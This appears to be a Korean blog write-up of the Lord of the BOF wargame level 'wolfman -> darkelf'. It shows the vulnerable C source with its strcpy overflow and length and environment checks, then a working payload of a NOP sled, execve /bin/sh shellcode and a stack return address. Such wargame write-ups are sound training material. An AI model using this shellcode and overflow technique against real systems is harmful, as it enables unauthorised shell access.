[LOB] wolfman -> darkelf
2018. 3. 31. 17:52
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | /* The Lord of the BOF : The Fellowship of the BOF - darkelf - egghunter + buffer hunter + check length of argv[1] */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); } | cs |
시작! 저번과 거의 같다.
memset으로 버퍼와 환경변수를 0으로 다 덮어버리고, 만약 argv[1]의 길이가 48을 넘는다면 바로 exit하게 되어있다.
exit 안당하려면 argv[1]의 길이는 48과 같거나 작아야한다. 딱 48로해서 ret만 덮어주자.
저기다 저기. 0xbffffc0b
payload : ./darkelf `python -c 'print("\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x0b\xfc\xff\xbf")'
클리어
'Wargame > LOB' 카테고리의 다른 글
[LOB] orge -> troll (0) | 2018.04.01 |
---|---|
[LOB] darkelf -> orge (0) | 2018.03.31 |
[LOB] orc -> wolfman (0) | 2018.03.30 |
[LOB] goblin -> orc (0) | 2018.03.30 |
[LOB] cobolt -> goblin (0) | 2018.03.30 |